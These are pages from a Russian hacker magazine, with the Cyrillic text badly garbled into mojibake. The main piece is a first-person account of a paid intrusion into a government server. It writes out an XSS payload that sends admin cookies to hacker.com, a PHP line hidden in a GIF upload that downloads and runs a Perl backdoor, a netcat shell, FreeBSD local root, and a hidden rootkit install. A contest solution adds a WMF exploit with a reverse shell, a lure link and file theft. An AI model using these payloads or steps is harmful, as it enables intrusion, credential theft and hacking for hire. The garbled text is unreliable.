çëîêëþ÷åíèå: åñëè áû íå îãðàíè÷åíèÿ, íàëàãàåìûå íà ýêñïëîéò (Windows, PHP 4.x), òî ðàäîñòè õàêåðîâ íå áûëî ïðåäåëà. Îäíàêî ìîæíî âçëîìàòü è äðóãèå ðåëèçû PHP, ïðîñòî àäðåñ ñìåùåíèÿ òàì áóäåò äðóãèì. Îáíàðóæåíèå åãî — òâîÿ ãëàâíàÿ çàäà÷à :).

çëîêëþ÷åíèå: Ñòàðàÿ äîáðàÿ Win2k âñåãäà ñëàâèëàñü ñâîèìè áàãàìè. Ñåé÷àñ õàêåðû áðîñèëè åùå îäèí êàìåíü â îãîðîä Microsoft. ß äóìàþ, ìàëî êòî óäèâèëñÿ íîâîé äûðêå â Windows 2000, ïîòîìó êàê ñåé÷àñ áîëåå àêòóàëüíû ýêñïëîéòû äëÿ WinXP/2003. Íåñìîòðÿ íà ýòî, äàííîå îðóäèå íå áóäåò ëèøíèì â àðñåíàëå ìàòåðîãî âçëîìùèêà :).

greets: Íà ñåé ðàç îòëè÷èëèñü ïîëüñêèå õàêåðû: ýêñïëîéò áûë íàïèñàí ïîëÿêîì ñ íèêîì venglin (venglin@freebsd.lublin.pl). Ïèøèòå ïèñüìà è æäèòå îòâåòà :).

greets: äàííûé ýêñïëîéò ðîäèëè óìíûå ëþäè èç êîìàíäû SecWatch.org. Íèêè, åìåéëû, àñüêè è ïðî÷èå èíòèìíûå ïîäðîáíîñòè íå ðàçãëàøàþòñÿ, ïîýòîìó èùè èíôîðìàöèþ ïðÿìî íà ñàéòå :).

greets: äðóæíî îáúÿâëÿåì áëàãîäàðíîñòü õàêåðó SoBeIt.

òÿæåëûé çàïðîñ ê ntpd

XÀÊÅÐ 02 /86/ 06

ãîòîâèì ýêñïëîéò äëÿ PHP

ëèñòèíã íîâîãî ýêñïëîéòà

079


ÂÇËÎÌ ///// ISSUE

TEXT L1S / L1S@LIST.RU /

RIPPERS? FUCK! Ïðåæäå ÷åì áðàòüñÿ çà ðàáîòó, ÿ ðåøèë íåìíîãî îáåçîïàñèòü ñåáÿ è ïðîáèòü ýòîãî ïàðíÿ ïî áàçå ðèïïåðîâ. ß áûñòðåíüêî ñòóêíóë ê äîâîëüíî êà÷åñòâåííîìó áîòó, êîòîðûé è ïî ñåé äåíü íîðìàëüíî ôóíêöèîíèðóåò íà óèíå 4474744, è çàáèë åìó òàêóþ êîìàíäó: !ripper [nick], íà ÷òî áîò ìíå ïðèÿòíî îòâåòèë: [nick] is not in our database. Ñâÿçàâøèñü ñ äîáðûì ÷åëîâåêîì, ÿ ïîëó÷èë õîñò, è ìû áûñòðî ðàçáåæàëèñü ïî ñâîèì äåëàì. IN ATTACK Íà÷àòü âçëîì ÿ ðåøèë ñî ñáîðà èíôîðìàöèè î ñåðâåðå. Ñíà÷àëà ìåòîäîì whois-ïðîáèâà ÿ óçíàë ip-àäðåñ ñåðâåðà. Ïîñëå ïîñåòèë webèíòåðôåéñ æåðòâû, íà êîòîðîì íàøëîñü ïðèëè÷íîå êîëè÷åñòâî ñêðèïòîâ, äîâîëüíî ñêóäíûé äèçàéí, äâà ìûëüíèêà (îäèí èç êîòîðûõ, ïî ìîèì ïîäîçðåíèÿì, áûë àäìèíñêèì è èìåë òàêîé âèä: benny@serv.gov). Âåñü äâèæîê ðàáîòàë íà php, íî ýòî ìåíÿ êàê-òî ñîâñåì íå ðàäîâàëî. Äàëåå ïî ñòàíäàðòó ÿ âðóáèë nmap íà óäàëåííîì øåëëå è ñêîìàíäîâàë åìó ñêàíèòü 21, 22, 23, 25, 110, 80, 3306 ïîðòû ñ ôëàãîì –O è –sV, ÷òî óêàçûâàëî íà íåîáõîäèìîñòü îïðåäåëåíèÿ âåðñèé îïåðàöèîííîé ñèñòåìû è ñåòåâûõ ñëóæá. ×åðåç íåêîòîðîå âðåìÿ çàäûõàþùèéñÿ nmap ðàññêàçàë ìíå êîå-÷òî î ñåðâåðå. Íàïðèìåð, ÷òî íà 21 ïîðòó âèñåë ProFTPD 1.2.1, Sendmail ãðåëñÿ íà 25, íî äëÿ åãî âåðñèè ñïëîèòà ó ìåíÿ íå îêàçàëîñü, à èñêàòü â ïàáëèêå ÿ íå ñòàë, òàê êàê ýòî áåñïîëåçíî. Íà 80 ïî äåôîëòó âèñåë Apache, íà 3306 áûë mysql îäíîé èç ïîñëåäíèõ âåòîê. Ïîñëå àíàëèçà ïîëó÷åííîé ìíîþ èíôîðìàöèè áûëî ðåøåíî çàáèòü (ïîêà) íà àòàêó ñåðâèñîâ è ïîäîéòè ê ñåðâåðó ñ äðóãîé ñòîðîíû. ANOTHER SIDE Íà ñëåäóþùåå óòðî ìíå íè÷åãî íå îñòàâàëîñü, êàê âïëîòíóþ çàíÿòüñÿ èññëåäîâàíèåì web è ïîèñêàòü óäà÷ó òàì. ß çàøåë íà ñàéò è åùå ðàç íåìíîãî îñìîòðåëñÿ íà íåì. Ïîáåãàâ ïî ññûëêàì, ÿ íå íàøåë íè ipb, íè äûðêóphpBB, è íèêàêîãî ïàáëèê ÏÎ òàì òîæå íå ñòîÿëî, à ýòî åùå ðàç ãîâîðèëî î òîì, ÷òî ñåðâåð õîðîøî çàùèùåí. Íà ñåðâåðàõ ïîäîáíîãî òèïà îáû÷íî íàõîäèòñÿ îãðîìíîå êîëè÷åñòâî ðàçëè÷íûõ äèðåêòîðèé è ôàéëîâ, â íàõîæäåíèè êîòîðûõ ìíå ïîìîã ìîé äàâíî èçëþáëåííûé ñêàíåð — Nikto. Òåïåðü ìíå íóæíî áûëî íàòðàâèòü ñêàíåð íà ñâîþ æåðòâó, ÷òî ÿ è ñäåëàë. ×åðåç 5 ìèíóò ÿ óæå ëèöåçðåë ðåçóëüòàò íà ýêðàíå ñâîåãî ìîíèòîðà. Ê ñîæàëåíèþ, áîëüøîãî îáèëèÿ ïàïîê ÿ íå íàøåë, íî âñå æå ñêàíåð ïîêàçàë ìíå êîå-÷òî:

http://serv.gov/a/admin.php [200ok] http://serv.gov/users/pub/ [200ok] Ïåðâûé ëèíê âåë ïðÿìî â àäìèíêó, î êîòîðîé ÿ äàâíî óæå ïîäîçðåâàë, à âòîðîé ìåíÿ íèêóäà íå ïðèâåë ïî ïîíÿòíîé ïðè÷èíå ïðàâèëüíî âûñòàâëåííûõ ïðàâ. Ïðîâåðèâ, ïðàâèëüíî ëè âåäåò

080

ÃÎÑÓÄÀÐÑÒÂÎ Â ÏÎÇÅ LOCAL ROOT ÃÎÑÓÄÀÐÑÒÂÅÍÍÎÃÎ ÑÅÐÂÅÐÀ ÏÎÄ FREEBSD

ÏÐÎÁÅÃÀß ÏÎ ÐÀÇËÈ×ÍÛÌ SEC-ÔÎÐÓÌÀÌ, ß ÍÀÒÊ“ ÍÓËÑß ÍÀ ÏÎÑÒ,  ÊÎÒÎÐÎÌ ÄÎÁÐÛÉ ×ÅËÎÂÅÊ ÏÐÅÄËÀÃÀË ÏÎËÎÌÀÒÜ ÊÀÊÎÉ-ÒÎ ÂÀÆÍÛÉ ÏÎËÈÒÈ×ÅÑÊÈÉ ÐÅÑÓÐÑ. ÇÀ ÏÎËÓ×ÅÍÈÅ ROOT-ÄÎÑÒÓÏÀ ÎÍ ÙÅÄÐÎ ÂÛÊËÀÄÛÂÀË $300. ÂÎÎÁÙÅ, ß ÍÅ ËÞÁÈÒÅËÜ ÂÇËÎÌΠÍÀ ÇÀÊÀÇ, ÍÎ Â ÒÎÒ ÕÎËÎÄÍÛÉ È ÒÎÑÊËÈÂÛÉ ÂÅ×ÅÐ, ÌÍÅ ÏÎ×ÅÌÓ-ÒÎ ÇÀÕÎÒÅËÎÑÜ ÍÅÌÍÎÃÎ ÏÎÐÀÇ-

ÌßÒÜÑß È ÓÑÒÐÎÈÒÜ ÑÅÐÂÅÐÓ ÏÎËÍÓÞ ÏÐÎÂÅÐÊÓ

ìåíÿ ïåðâàÿ ññûëêà íà àäìèíêó, ÿ íà÷àë êîâûðÿòü ñåðâåð äàëüøå. Ìíå âñòðåòèëîñü åùå ìíîãî ñêðèïòîâ, íî ïîñëå èõ ïðîâåðêè îæèäàåìîãî ðåçóëüòàòà ÿ íå ïîëó÷èë. ß óæå ñîáèðàëñÿ ñâàëèâàòü îòòóäà, êàê âäðóã íà îäíîé ñòðàíèöå ÿ íàòêíóëñÿ íà íåáîëüøóþ ôîðìî÷êó äëÿ êàêèõ-òî ïîëèòè÷åñêèõ äåáàòîâ â íàðîäå — ÁÀÇÀÐ. Ó ôîðìû èìåëîñü äâà ïîëÿ: èìÿ è òåêñò ñîîáùåíèÿ. Ó ìåíÿ ñðàçó âîçíèêëà ìûñëü ïðîâåðèòü ýòó ôîðìó è åå ïîëÿ íà ðàçíûå ôèëüòðû. ß íå îøèáñÿ. Äëÿ íà÷àëà ÿ ïîïðîáîâàë âñòàâèòü ñòàíäàðòíóþ java-âñòàâêó òàêîãî âèäà: <script>alert(‘xss’);</script>, íî ìíå äàëè çàáîðèñòîãî ïèíêà. Òîãäà ÿ ðåøèë ïðîáèòü äîñòóïíûå òýãè, êîòîðûå èñïîëüçóþòñÿ äëÿ äîáàâëåíèÿ ñîîáùåíèé. Ïîä ìîé çëîáíûé âçãëÿä ïîïàëè äâà äîñòóïíûõ òýãà — [img] è [color], âòîðîé èç êîòîðûõ ìîã ïîìî÷ü ìíå â äàëüíåéøåì :). Èòàê, äàâàé ÷óòü ïîäðîáíåå ðàçáåðåìñÿ â äàëüíåéøèõ ìîèõ äåéñòâèÿõ. Ìíå áûëî íåîáõîäèìî ñîñòàâèòü xss-ýêñïëîéò, ïîñëå íàòðàâèòü åãî íà êóêèñû àäìèíà, à óæå ïîòîì ïîïðîáîâàòü öåïàíóòü èõ ñ ïîìîùüþ îáû÷íîãî ñíèôåðà. Ïîñëå 10-ìèíóòíîãî òåñòèðîâàíèÿ âðàæåñêèé java-êîä áûë ñîñòàâëåí. Ðàññêàæó òåáå îá ýòîì â äåòàëÿõ. Ñíà÷àëà ÿ ïîïðîáîâàë îñòàâèòü ïîñò òàêîãî âèäà [color=”red”]Test[/color]. Ìåññàãà «Test» óäà÷íî îòîáðàçèëàñü â êðàñíûõ öâåòàõ. Äàëåå ÿ ïåðåðàáîòàë åå óæå â òàêóþ êîíñòðóêöèþ, êîòîðàÿ âûêèäûâàëà ïðîñòîé àëåðò «XSS»:

[color=red» style=background-image:url( javascript:alert(«XSS»));] Test! [/color] Íåòðóäíî äîáèòü ýêñïëîéò äî òàêîãî óðîâíÿ, ÷òîáû ñíèôåð, êîòîðûé óñòàíîâëåí íà ñàéòå õàêåðà, ïåðåõâàòûâàë «ïå÷åíüÿ» òåõ, êòî ñìîòðèò åãî çëîáíûé ïîñò. Îêîí÷àòåëüíûì ýêñïëîéòîì ÿâëÿëàñü âîò òàêàÿ íåñëîæíàÿ ñòðóêòóðà:

[color=red» style=background-image:url( javascript: document.images [1].src=»http://hacker.com/cgibin/snifka.cgi?s:»+document.cookie]Hi admin! [/color] Êàê âèäèøü, â òåëå ýêñïëîéòà ïðîïèñàí ëèíê ��à ñíèôåð (snifka.cgi), êîòîðûé è âûïîëíÿåò çà ìåíÿ îñíîâíóþ ðàáîòó. Òåïåðü ìíå îñòàâàëîñü òîëüêî æäàòü, ïîêà óøàñòûé àäìèí íå ïðî÷òåò ìîé òåñòîâûé ïîñò. Æäàòü äîëãî íå ïðèøëîñü, è óæå âå÷åðîì ìíå ïîñûïàëèñü ïåðâûå âûëîâëåííûå êóêè. À óæå ê íî÷è êî ìíå ïîïàëà êóêà àäìèíà. Òî, ÷òî ýòî áûë àäìèí, ÿ ñðàçó ïîíÿë ïî åãî ëîãèíó (benny). Äà, òîò ñàìûé áåííè, êîòîðûé îñòàâèë ñâîé ìûëüíèê íà ãëàâíîé ñòðàíèöå ñàéòà :).  ïëþõàõ âñå áûëî ñòàíäàðòíî: õýø ïàðîëÿ, ëîãèí è ò.ä. ß ñëèë ñåáå äîâîëüíî íåñêðîìíóþ áàçó ïàðîëåé è íàòðàâèë áðóòåð (òîò æå PasswordPro) íà õýø, êèíóë â áýêãðàóíä, à ñàì ïî-òèõîìó óøåë ñïàòü.

XÀÊÅÐ 02 /86/ 06


Íà íàøåì äèñêå òû íàéäåøü âåñü ñîôò, îïèñàííûé â ýòîé ñòàòüå

Åñëè ó òåáÿ íåò ñâîåãî ñíèôåðà, òî ñîâåòóþ çàãëÿíóòü ñþäà: www.antichat.ru/sniff/

ß ÓÆÅ ÑÎÁÈÐÀËÑß ÑÂÀËÈÂÀÒÜ ÎÒÒÓÄÀ, ÊÀÊ ÂÄÐÓà ÍÀ ÎÄÍÎÉ ÑÒÐÀÍÈÖÅ ß ÍÀÒÊÍÓËÑß ÍÀ ÍÅÁÎËÜØÓÞ ÔÎÐÌÎ×ÊÓ ÄËß ÊÀÊÈÕ-Ò ÒÎ ÏÎËÈÒÈ×ÅÑÊÈÕ ÄÅÁÀÒΠ ÍÀÐÎÄÅ — ÁÀÇÀÐ.

WELCOME TO ADMINE-ZONE Íà ñëåäóþùåå óòðî, âûïèâ êðóæêó êîôå, ÿ çàñåë çà êîìï è íà÷àë ïðîñìàòðèâàòü ðåçóëüòàòû áðóòà. Ðåçóëüòàòû ìåíÿ ïðèÿòíî óäèâèëè òåì, ÷òî áðóòåð â î÷åðåäíîé ðàç ñïàñ ìîþ ïÿòóþ òî÷êó è áåçæàëîñòíî ïëþíóë ìíå ðàñøèôðîâàííûé ïàðîëü. Òåïåðü ìîÿ äîðîãà áûëà íàïðàâëåíà ïðÿìèêîì â àäìèíêó. Ïîñëåäîâàâ ïî ññûëêå, ÿ ïîïàë â çîíó àäìèíèñòðèðîâàíèÿ. Àäìèí-öåíòð çäåñü áûë äîâîëüíî ìíîãîôóíêöèîíàëåí è õîðîøî ïðîäóìàí. Çäåñü ìîæíî áûëî ðåäàêòèðîâàòü íîâîñòè è ðàçäåëû ñàéòà, ñîçäàâàòü ñâîè ãîëîñîâàíèÿ, ìåíÿòü ðàçëè÷íóþ ñòàòèñòèêó ïîëèòè÷åñêèõ îïðîñîâ, äîáàâëÿòü íîâûõ àäìèíîâ, ðåäàêòèðîâàòü èíôó çàðåãàííûì ïîëüçîâàòåëÿì è äð. Íî ìíå áûëî íóæíî ÷òî-òî ïîðåàëüíåå, çà ÷òî áû ÿ ìîã çàöåïèòüñÿ è ïðîäîëæèòü ñâîé âçëîì. È ÿ íàøåë òàêóþ âîçìîæíîñòü. Åùå íåìíîãî ïîêîâûðÿâ àäìèíêó, ÿ íàøåë îäíó äîâîëüíî ÷àñòî âñòðå÷àþùóþñÿ îïöèþ — àïëîàä gif-ôàéëîâ. Àäìèíó ýòà îïöèÿ íóæíà áûëà äëÿ ðàçìåùåíèÿ íà ñàéòå ðàçëè÷íûõ ïîëèòè÷åñêèõ «ìîðä». Äàëåå, îòêðûâ îáû÷íûì áëîêíîòîì ìîþ ãèôêó, ÿ äîïèñàë òàêóþ ñòðîêó:

<? system (‘cd /tmp; wget http://hacker.com/bd.pl;chmod 755 bd.pl; perl bd.pl ‘);?> Çäåñü âûïîëíÿåòñÿ ïåðåõîä â ïàïêó temp, â êîòîðóþ îáû÷íî ðàçðåøåíà çàïèñü, ïîñëå ñëèâàåòñÿ îáû÷íûé ïåðëîâûé áýêäîð(bd.pl), ñòàâÿòñÿ åìó ñîîòâåòñòâåííûå ïðàâà è îí çàïóñêàåòñÿ, áèíäèâ 32767 ïîðò, ñ ïðèâèëåãèÿìè âåá-ñåðâåðà. Ïîñëå ÿ ñîõðàíèë âñå ýòî â ôàéë mord4.php è ïîïðîáîâàë çàãðóçèòü êàðòèíêó íà ñàéò, íî

XÀÊÅÐ 02 /86/ 06

081


ÂÇËÎÌ ///// ISSUE

ìîäèôèöèðóåì gif’êó âîò êàê ðàáîòàåò áîò äëÿ ïîèñêà ðèïïåðîâ

ïåðâàÿ êîìàíäà, êîòîðàÿ âñåãäà ðàäóåò ãëàç

Îãðîìíîå êîëè÷åñòâî ðóòêèòîâ ïîä ðàçíûå îñè òû âñåãäà ìîæåøü íàéòè íà www.packetstormsecurity.nl, www.securityfocus.com, www.securitylab.ru

Ñëîâàðèêè äëÿ ñâîèõ áðóòåðîâ òû âñåãäà ìîæåøü íàéòè íà www.passwords.ru

óõ, ùàñ êòî-òî îãðåáåò!

ïîëó÷èë î÷åðåäíîãî îáîäðÿþùåãî ïèíêà. Òîãäà ðåøèë ñõèòðèòü è ïîìåíÿë ðàçðåøåíèå: .php íà .gif.php. È ÷òî òû äóìàåøü? Êàðòèíêà óäà÷íî çààïëîäèëàñü! ß ïðîøåë ïî ññûëêå íà êàðòèíêó è çàãðóçèë åå ó ñåáÿ â áðàóçåðå, íî îíà äîëãî íå õîòåëà ãðóçèòü, à ýòî ãîâîðèëî î òîì, ÷òî áýêäîð áûë çàëèò è çàïóùåí. Òåïåðü ÿ ïî ñòàðèíêå ñëèë ñåáå âèíäîâûé netcat è ïîïðîáîâàë çàöåïèòüñÿ ê ìîåìó ñåðâåðó:

C:\>nc www.server.gov 32767 Ïåðâàÿ êîìàíäà who âûïîëíèëàñü íà óðà. Êñòàòè, íà òîò ìîìåíò â ñèñòåìå ÿ áûë îäèí, à çíà÷èò, ïóòü îòêðûò, è íóæíî áûëî áûñòðî ïðèíèìàòü ðåøåíèå. ROOT ME PLZ Èòàê, ïîëîâèíà ïóòè áûëà ïðîéäåíà, íî øåëëà ñ îãðàíè÷åííûìè ïðàâàìè ìíå, êîíå÷íî æå, íå õâàòàëî, à äåíåæíàÿ ìàíèÿ ïîëíîñòüþ ïîãëîòèëà ìåíÿ è ïîäòàëêèâàëà íà ðåøèòåëüíûå äåéñòâèÿ. Íóæíî áûëî ðóòàòü, ðóòàòü è åùå ðàç ðóòàòü. Êîìàíäà uname –a ïîêàçàëà ìíå çäåøíþþ îïåðàöèîíêó. Ýòî áûëà ìîÿ äàâíÿÿ ïîäðóãà FreeBsd 4.3. Ñòðàííî, ÿ íàäåëñÿ óâèäåòü âåðñèþ ïîñâåæåå :). Íó äà ëàäíî, ìíå æå ëó÷øå. Âåòêà ôðÿõè áûëà óÿçâèìà, ïîäòâåðæäåíèå òîìó ñëóæèë ýêñïëîéò îò Georgi Guninski (www.guninski.com). Ñóòü áàãà ïðîñòà äî áåçîáðàçèÿ: ïðè âûïîëíåíèè exec() íå âñå îáðàáîò÷èêè ñèãíàëîâ î÷èùàþòñÿ, ÷òî ïîçâîëÿåò âñòðîèòü ñâîé êîä â suid-ïðèëîæåíèå. Óäà÷íî ñëèâ ñïëîèò, ÿ ñîáðàë åãî è ïîëó÷èë ãîòîâûé äëÿ çàïóñêà áèíàðíèê, êîòîðûé òàê è æäàë, ÷òîáû ÿ åãî çàïóñòèë :). Íó ÷òî æå, åãî îæèäàíèè áûñòðî îïðàâäàëèñü, è ÷åðåç íåñêîëüêî ìèíóò ìîè ïðàâà óæå ñìåíèëèñü íà íóëåâûå, à ýòî îçíà÷àëî, ÷òî ðóò-äîñòóï áûë ïîëó÷åí. Ïîñëå

êóñîê ýêñïëîéòà, ñîäåðæàùèé çëîáíûé øåëë-êîä

ïîâûøåíèÿ ïðàâ ÿ íå ðåøèëñÿ äîáàâëÿòü ñâîåãî þçåðà, òàê êàê äàæå ñàìûé ëåíèâûé è òóïîé àäìèí çàìåòèò åãî ïðèñóòñòâèå è ïåðåêðîåò åìó êèñëîðîä, à çà ýòî çàêàç÷èê ìåíÿ ïî ãîëîâêå íå ïîãëàäèò :), ïîýòîìó ÿ ðåøèë îãðàíè÷èòüñÿ îáû÷íûì ðóòêèòîì. Òàê êàê ñèñòåìà áûëà freebsd, òî shv èëè adore â íàøåì ñëó÷àå íå ðóëèò. Çäåñü íóæíî áûëî þçàòü ñïåöèàëüíî çàòî÷åííûé ïîä íàøó îñü ðóòêèò. ß âûáðàë îòëè÷íûé è äîâîëüíî ñòàðûé ðóòêèò ïîä íàçâàíèåì fbrk. Îí ìíîãî ÷åãî óìååò, íî îäíîé èç ÿðêèõ åãî îñîáåííîñòåé ÿâëÿåòñÿ âîçìîæíîñòü ñêðûâàòü ôàéëû è ïðîöåññû. Íóæíî âñåãî ëèøü çàíåñòè â êîíô òàêèå ñòðîêè:

/dev/fd/.99/.ttyf00 /dev/fd/.99/.ttyp00 Óñòàíîâêà ðóòêèòà òîæå ðàäóåò, ñòîèò ëèøü âáèòü ./setup, è äàëåå âñå ïîéäåò êàê ïî ìàñëó. ×òîáû ñõâàòèòü ñ ïîìîùüþ íåãî ðóòà, íóæíî çàäàòü ïåðåìåííóþ DISPLAY, çíà÷åíèå êîòîðîé è áóäåò ïàðîëü:

DISPLAY=»qwerty»; export DISPLAY; telnet host È âñå. Íî ýòî íå åäèíñòâåííàÿ âîçìîæíîñòü äàííîé òóëçû. FINISH HIM!  î÷åðåäíîé ðàç, ïîéìàâ çàêàç÷èêà â îíëàéíå, ÿ ñîîáùèë åìó õîðîøèå íîâîñòè, êîòîðûå ÿâíî åãî î÷åíü îáðàäîâàëè. Òàê ÷òî îí áåç îñîáûõ çàìîðî÷åê ñêèíóë ìíå 50% îò ñóììû, äàëåå ÿ îòäàë åìó äîáûòûé ðóò-äîñòóï, è îí ïåðåâåë îñòàëüíóþ ñóììó. ß óæå íå â ïåðâûé ðàç áûë äîâîëåí ñîáîé è óæå íà÷àë îáäóìûâàòü áóäóùåé àïäåéò ñâîåãî æåëåçíîãî êîíÿ. BINARY YOUR’S z

FREEBSD 4.3 LOCAL ROOT Æàðêèì ëåòîì ãîäà òðè òîìó íàçàä íåáåçûçâåñòíûé Æîðà Ãóíèíñêèé íàøåë ñåðüåçíóþ ïðîáëåìó â FreeBSD 4.3 è áîëåå ðàííèõ âåðñèÿõ. Áàã áûë îáíàðóæåí â îáðàáîò÷èêå ñèãíàëîâ rfork(RFPROC|RFSIGSHARE). Ïðè âûïîëíåíèè êîìàíäû exec() â suid-ïðèëîæåíèè ýòîò ñèãíàë íå î÷èùàëñÿ, ÷òî ïîçâîëèëî õàêåðó âíåäðèòü ëþáîé êîä â áèíàðíèê ñ ïîäíÿòûì suid-áèòîì. Êàê íåñëîæíî äîãàäàòüñÿ, ïðè ëîêàëüíîì èñïîëüçîâàíèè ýòà îòìû÷êà ïîìîãàåò áûñòðî ïîëó÷èòü ðóòîâûå ïðèâèëåãèè, ÷òî è ïðîäåëàë ñ óñïåõîì àâòîð ýòîé ñòàòüè. Ïîëó÷èòü èñõîäíèê ýòîãî áðîíåáîéíîãî ñïëîèòà ìîæíî òóò: www.guninski.com/vvfreebsd.c.

082

XÀÊÅÐ 02 /86/ 06


Õ -C CONTEST

eto’o

 çàâåðøèâøåìñÿ êîíêóðñå òåáå òðåáîâàëîñü ïîëîìàòü êîìïüþòåð çëþùåãî ïðåïîäàâàòåëÿ ïî ôàìèëèè Áîðîâñêèõ. Êàê òû ïîìíèøü, ýòîò íåãîäÿé ïðÿòàë íà ñâîåì êîìïå âàðèàíòû äëÿ ýêçàìåíà ïî îäíîìó èç ñâîèõ ñëîæíûõ ïðåäìåòîâ. Òåáå íóæíî áûëî ñïàñòè àðìèþ ñòóäåíòîâ îò íåìèíóåìîãî êðàõà, äëÿ ÷åãî òðåáîâàëîñü ëþáûì ñïîñîáîì ñïåðåòü ñ êîìïüþòåðà äåðíóòîãî ïðîôåññîðà âàðèàíòû çàäàíèé.  êà÷åñòâå îòïðàâíîé òî÷êè íà íàøåì ôîðóìå òåáå áûë ñîîáùåí e-mail àäðåñ ïðîôåññîðà, à òàêæå âñêîëüçü áûëî óïîìÿíóòî, ÷òî îí ïîëüçóåòñÿ âèíäîé, õàêåðîâ íàçûâàåò «ïîãàíûìè îòìîðîçêàìè, êîòîðûå ïîðòÿò ìíå æèçíü» è ïðè ýòîì ñîâåðøåííî íå óìååò óñòàíàâëèâàòü îáíîâëåíèÿ äëÿ ñâîåé ñèñòåìû. Áûëî ñêàçàíî òàêæå, ÷òî ïðîôåññîð ïîëüçóåòñÿ Èíòåðíåòîì èñêëþ÷èòåëüíî ñ 21:00 äî 22:00, ïîñëå ÷åãî âûïèâàåò ñòàêàí ìèíåðàëêè è ëîæèòñÿ ñïàòü. Íåïðîñòàÿ òåáå äîñòàëàñü ìèøåíü, ñîãëàñèñü. Îäíàêî ñðåäè íàøèõ ÷èòàòåëåé íàøëîñü íåìàëî êðóòûõ õàêåðîâ, êîòîðûì óäàëîñü ðàçäðàêîíèòü ïðîôåññîðà Áîðîâñêèõ è óïåðåòü íóæíûå ìàòåðèàëû. Ïåðâûì ñ ïîñòàâëåííîé çàäà÷åé ñïðàâèëñÿ ÷óâàê ñ íèêîì piggy_win. ×òîáû ïðîéòè êîíêóðñ, ýòîò ïàðåíü ïðîäåëàë ñëåäóþùèå äåéñòâèÿ.

XÀÊÅÐ 02 /86/ 06

1 Ïîñêîëüêó ïðîôåññîð íå óñòàíàâëèâàåò îáíîâëåíèÿ íà ñèñòåìó, ó íåãî, ñêîðåå âñåãî, íå çàêðûòà äûðêà ïðè îáðàáîòêå WMF-ôàéëîâ. Ïîýòîìó ðàçóìíî áûëî çàþçàòü îòíîñèòåëüíî ñâåæèé ñïëîèò äëÿ Windows XP, êîòîðûé ìû òàê ïîäðîáíî îïèñàëè â ýòîì íîìåðå. 2 Äëÿ ýòîãî áàãà ñîçäàíî äîâîëüíî ìíîãî ýêñïëîéòîâ. Ìîæíî áûëî âîñïîëüçîâàòüñÿ ñàìûì ïåðâûì, âûïîëíÿåìûì ïîä Metasploit Framework.  êà÷åñòâå ÿäîâèòîãî øåëë-êîäà ðàçóìíî áûëî çàþçàòü win32_reverse. Ñãåíåðèðîâàâ ÿäîâèòóþ êàðòèíêó, íóæíî áûëî ëþáûì ïóòåì âïàðèòü ïðîôåññîðó ññûëêó íà êàðòèíêó. 3 ×òîáû çàèíòåðåñîâàòü ïðîôåññîðà ññûëêîé, íóæíî áûëî íàïèñàòü, ÷òî, ïåðåéäÿ ïî íåé, îí ïîëó÷èò áåñöåííóþ èíôîðìàöèþ î áîðüáå ñ õàêåðàìè.  íàçíà÷åííîå âðåìÿ Áîðîâñêèõ ïåðåéäåò ïî òâîåé ññûëêå, âûïîëíèòñÿ òâîé øåëë-êîä, è òû ïîëó÷èøü äîñòóï ê cmd.exe íà åãî òà÷êå. 4 Íàéòè íóæíûé ôàéë íå ñîñòàâëÿëî òðóäà. Îí íàçûâàëñÿ zadachi_urchp.rar è íàõîäèëñÿ â ïàïêå My Documents. 5 Ïðîùå âñåãî ñëèòü ýòîò ôàéë áûëî ïðè ïîìîùè êîíñîëüíîé êîìàíäû ftp. Ïîäêëþ÷èâøèñü ê ñâîåìó ftp, íàäî áûëî âûïîëíèòü êîìàíäó put zadachi_urchp.rar.

083


ÑÖÅÍÀ

â ðóêàõ — îðèãèíàëüíàÿ ìîäåëü ZX Spectrum 48K

084

XÀÊÅÐ 02 /86/ 06


TEXT ÂËÀÄ ÑÎÒÍÈÊÎÂ / VEGA56@MAIL.RU /

ÇÎËÎÒÛÅ ÃÎÄÛ CÏÅÊÒÐÓÌÀ 15 ËÅÒ ZX-ÑÖÅÍÛ ÍÀÂÅÐÍÎÅ, ÊÀÆÄÎÌÓ ÊÎÌÏÜÞÒÅÐÙÈÊÓ ÇÍÀÊÎÌÎ ÑËÎÂÎ SPECTRUM.  ÑÂÎÅ “ ÂÐÅÌß ÝÒÎÒ ÏÅÐÑÎÍÀËÜÍÛÉ ÊÎÌÏÜÞÒÅÐ ÑÒÎßË Â ÊÀÆÄÎÉ ÄÅÑßÒÎÉ ÊÂÀÐÒÈÐÅ. ÑÐÀÂÍÈÒÅËÜÍÎ ÍÅÁÎËÜØÀß ÖÅÍÀ ÏÎÇÂÎËßËÀ ÏÎÊÓÏÀÒÜ ÅÃÎ Â ÊÀ×ÅÑÒÂÅ ÈÃÐÎÂÎÉ ÏÐÈÑÒÀÂÊÈ ÄËß ÄÅÒÅÉ, ÍÎ ÎÒ ÏÐÈÑÒÀÂÎÊ ÒÈÏÀ DENDY ÅÃÎ ÎÒËÈ×ÀËÎ ÍÅÑÊÎËÜÊÎ ÎÑÎÁÅÍÍÎÑÒÅÉ. ÂÎ-ÏÅÐÂÛÕ, ÈÃÐÛ Ê ÍÅÌÓ ÑÒÎÈËÈ ÍÀÌÍÎÃÎ ÄÅØÅÂËÅ, ÂÎ-ÂÒÎÐÛÕ,  ÑÏÅÊÒÐÓÌ ÁÛË ÂÑÒÐÎÅÍ ßÇÛÊ ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß BASIC È ÂÎÇÌÎÆÍÎÑÒÜ ÑÎÇÄÀÂÀÒÜ ÍÀ ÍÅÌ ÑÎÁÑÒÂÅÍÍÛÅ ÏÐÎÃÐÀÌÌÛ ÄÅËÀËÀ ÅÃÎ ÎÑÎÁÅÍÍÛÌ ÏÎßÂËÅÍÈÅ ÑÏÅÊÒÐÓÌÀ  ÑÑÑÐ ZX-Spectrum áûë âûïóùåí àíãëèéñêîé ôèðìîé Research Ltd â 1982 ãîäó. Åå ãëàâà, ñýð Êëàéâ Ñèíêëåð, çà ñâîå èçîáðåòåíèå âïîñëåäñòâèè ïîëó÷èë çâàíèå ëîðäà. Íà òîò ìîìåíò ýòî áûëà äîâîëüíî ìîùíàÿ ïëàòôîðìà: 48 êèëîáàéò ÎÇÓ (16 â ñàìûõ ïåðâûõ ìîäåëÿõ), 16 êèëîáàéò ÏÇÓ, êóäà âõîäèë Basic, â êà÷åñòâå ìîíèòîðà èñïîëüçîâàëñÿ îáû÷íûé òåëåâèçîð, à â êà÷åñòâå íîñèòåëÿ èíôîðìàöèè — êàññåòíûé ìàãíèòîôîí. Çà ñ÷åò íåáîëüøîé ñòîèìîñòè ýòîò êîìïüþòåð áûñòðî 